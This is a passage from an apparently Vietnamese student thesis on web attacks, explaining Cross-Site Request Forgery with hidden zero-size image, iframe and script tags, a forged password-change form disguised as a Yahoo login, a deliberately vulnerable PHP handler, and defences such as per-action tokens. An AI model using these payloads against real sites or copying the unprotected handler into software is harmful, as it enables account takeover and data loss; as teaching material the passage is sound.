II. Một số cách tấn công ứng dụng web
6. Yêu cầu giả mạo (Cross-Site Request Fogery)
6.1. Khái niệm
Cross-site Request Forgery (CSRF) là kỹ thuật tấn công “mượn tay” một người dùng đang trong phiên làm việc thực hiện những hành động mà người dùng không mong muốn trong quyền hạn của người dùng đó. Ví dụ như người dùng có chức năng delete bài viết của mình trên website, để làm việc đó người dùng trong phiên làm việc của mình phải gửi 1 request lên server. Hacker không thể thực hiện quyền hạn đó, vậy hacker sẽ dụ người dùng thực hiện hành động mà không hề hay biết.
CSRF xuất hiện từ những năm 1990, tuy nhiên các cuộc tấn công này xuất phát từ chính IP của người sử dụng nên log file của các website không cho thấy các dấu hiệu của CFRS. Các cuộc tấn công theo kĩ thuật CSRF không được báo cáo đầy đủ, đến năm 2007 mới có một vài tài liệu miêu tả chi tiết về các trường hợp tấn công CSRF.
Vì CSRF là kỹ thuật tấn công mà hacker mượn tay chính người dùng hợp lệ của ứng dụng để thực hiện những hành động phá hoại nên mức độ nguy hiểm của nó rất nghiêm trọng và khó phát hiện nếu ứng dụng không có cơ chế để xác thực và phát hiện những yêu cầu giả mạo này. Sau đây ta cùng nghiên cứu 1 vài phương pháp thực hiện tấn công ứng dụng bằng kỹ thuật CSRF.
6.2. Các cách tấn công
a. Tấn công qua tham số URL
Ta xét một kịch bản sau:
Ứng dụng cho phép người dùng thực hiện delele bài viết và tham số được truyền theo phương thức GET: Ví dụ như sau:
http://www.test.com/delete.php?id=1234
Trang delele.php có nhiệm vụ delete bài viết với id = 1234. Ta cũng là một người dùng của ứng dụng, nắm được cơ chế này, ta sẽ thực hiện kỹ thuật CSRF để dụ một người dùng khác thực hiện delete bài viết của họ, ta làm như sau:
Tạo một thông điệp, hoặc email có chứa đoạn code:
<img height=0” width=”0” src=”http://www.test.com/delete.php?id=1234”/>
Đoạn mã trên được che giấu rất kỹ bởi vì thẻ img ta sử dụng có kích thước 0x0 nên người dùng sẽ không thể thấy được. Khi người dùng đọc thông điệp này, url ta chèn trong thẻ img sẽ được thực thi và người dùng đó đang ở trong phiên làm việc thì hành động delete bài viết với id = 1234 sẽ được thực thi một cách hoàn toàn hợp lệ.
Các thẻ khác có thể sử dụng trong kỹ thuật này là:
<iframe height=”0” width=”0” src=”http://www.test.com/delete.php?id=1234"/>
<link ref="stylesheet" href="http://www.test.com/delete.php?id=1234" type="text/css"/>
<bgsound src="http://www.test.com/delete.php?id=1234"/> <background src="http://www.test.com/delete.php?id=1234"/>
<script type="text/javascript" src="http://www.test.com/delete.php?id=1234"/>
b. Tấn công qua dữ liệu form
Ta xét 1 kịch bản ứng dụng cho phép người dùng thay đổi password bao gồm các file changepass.html, crsf.php với mã nguồn như sau:
Changepass.html
<form action="http://localhost/doantotnghiep/demo/crsf/crsf.php" method="post" name="changpass">
<table width="100%" border="1"> <tr>
<td colspan="2"><div align="center">Change Your Password </div></td> </tr>
<tr>
<td>New Password: </td>
<td><input name="newpass" type="text" id="newpass"></td> </tr>
<tr>
<td>Confirm New Pass: </td>
<td><input name="renewpass" type="text" id="renewpass"></td>
<input type="hidden" name="forward" value="http://localhost/doantotnghiep/demo/crsf/susscess.php">
</tr> <tr>
<td colspan="2"><div align="center">
<input name="change" type="submit" id="change" value="Change Pass"> <input type="reset" name="Submit2" value="Reset">
</div></td> </tr> <tr> <td> </td> <td> </td> </tr> </table> Csrf.php <?php if(!isset($_POST['change'])){ include('changepass.html'); }else{ $newpass = $_POST['newpass']; $renewpass = $_POST['renewpass']; $forward = $_POST['forward']; unset($_SESSION['token']); $newpass = mysql_real_escape_string($newpass); $renewpass = mysql_real_escape_string($renewpass);
// Khoi lenh doi mat khau
header("location:".$forward."?newpass=".$newpass); }
?>
Kịch bản trên cho phép người dùng thay đổi password bằng cách nhập password mới vào hai ô textbox là newpass và renewpass rồi nhấn submit, nếu người dùng đang trong phiên làm việc của mình password sẽ được thay đổi mà không qua một bước chứng thực nào khác, password thay đổi thành công sẽ tự chuyển sang trang susscess.php với đường link chỉ định trong thẻ input forword.
Nắm được cơ chế này, ta tạo 1 form giả mạo đăng nhập mail.yahoo.com với action form trỏ đến http://localhost/demo/crsf/crsf.php với hai thẻ input với thuộc tính hiden là newpass và renewpass, giá trị của hai thẻ input này được ta gán sẵn giá trị là democrsf
<input type="hidden" name="newpass" id="aad" value="democrsf"> <input type="hidden" name="renewpass" id="aad"value="democrsf">
và 1 thẻ input forword với thuộc tính hiden và giá trị là http://mail.yahoo.com. <input type="hidden" name="forward" value="http://mail.yahoo.com">
Ta gửi đến một người dùng đang trong phiên làm việc hợp lệ của hệ thống một thông điệp hoặc một email có chứa đường link đến form giả mạo của ta, người dùng mắc lừa đăng nhập email, khi nhấn submit đã thực hiện thao tác thay đổi password mà không hề hay biết.
6.3. Cách phòng chống
Vì kỹ thuật CSRF này là lừa người sử dụng hợp lệ của ứng dụng thực thi những hành động trong quyền hạn của họ, nên các kỹ thuật phòng chống sẽ tập trung vào cách để xác thực các yêu cầu từ người dùng có phải là giả mạo hay không.
Để thực hiện việc đó ta có một số cách như sau:
- Hạn chế thời gian hiệu lực của session: điều này cũng chỉ hạn chế được khi phiên làm việc của người dùng hết hiệu lực mà thôi, nếu người dùng vẫn đang trong phiên làm việc thì không có tác dụng gì cả.
- Sử dụng GET và POST một cách hợp lý. Điều này cũng chỉ hạn chế được phần nào vì nếu sử dụng POST hacker vẫn có thể thực hiện tấn công dựa trên những form giả mạo hay những request giả mạo.
- Sử dụng hình ảnh xác nhận (captcha) hay sử dụng các bước xác nhận hành động như hiển thị thông báo có chấp nhận thực thi hành động đó hay không: Điều này khá hiệu quả nhưng nó gây cho người dùng những phiền phức nhất định.
token duy nhất ứng với mỗi hành động, và token này thay đổi liên tục mỗi khi ứng dụng được load. Hacker rất khó để chiếm được token này và nếu có chiếm được cũng rất khó để sử dụng vì nó thay đổi liên tục trong phiên làm việc. Sẽ hiệu quả hơn nếu ta thiết lập một thời gian tồn tại nhất định cho mỗi token.